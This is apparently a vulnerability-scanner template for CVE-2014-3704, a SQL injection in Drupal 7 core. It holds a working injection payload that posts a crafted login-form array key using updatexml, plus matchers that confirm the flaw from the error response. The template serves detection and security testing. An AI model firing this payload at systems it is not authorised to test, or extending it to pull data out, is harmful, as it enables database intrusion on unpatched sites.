id: CVE-2014-3704
info:
  name: Drupal Sql Injetion
  author: princechaddha
  severity: high
  description: The expandArguments function in the database abstraction API in Drupal core 7.x before 7.32 does not properly construct prepared statements, which allows remote attackers to conduct SQL injection attacks via an array containing crafted keys.
  reference:
    - https://www.drupal.org/SA-CORE-2014-005
    - http://www.exploit-db.com/exploits/34984
    - http://www.exploit-db.com/exploits/34992
    - http://www.exploit-db.com/exploits/34993
    - http://www.exploit-db.com/exploits/35150
  tags: cve,cve2014,drupal,sqli

requests:
  - method: POST
    path:
      - "{{BaseURL}}/?q=node&destination=node"
    body: 'pass=lol&form_build_id=&form_id=user_login_block&op=Log+in&name[0 or updatexml(0x23,concat(1,md5(1234567890)),1)%23]=bob&name[0]=a'

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 500

      - type: word
        words:
          - "PDOException"
          - "e807f1fcf82d132f9bb018ca6738a19f"
        condition: and
        part: body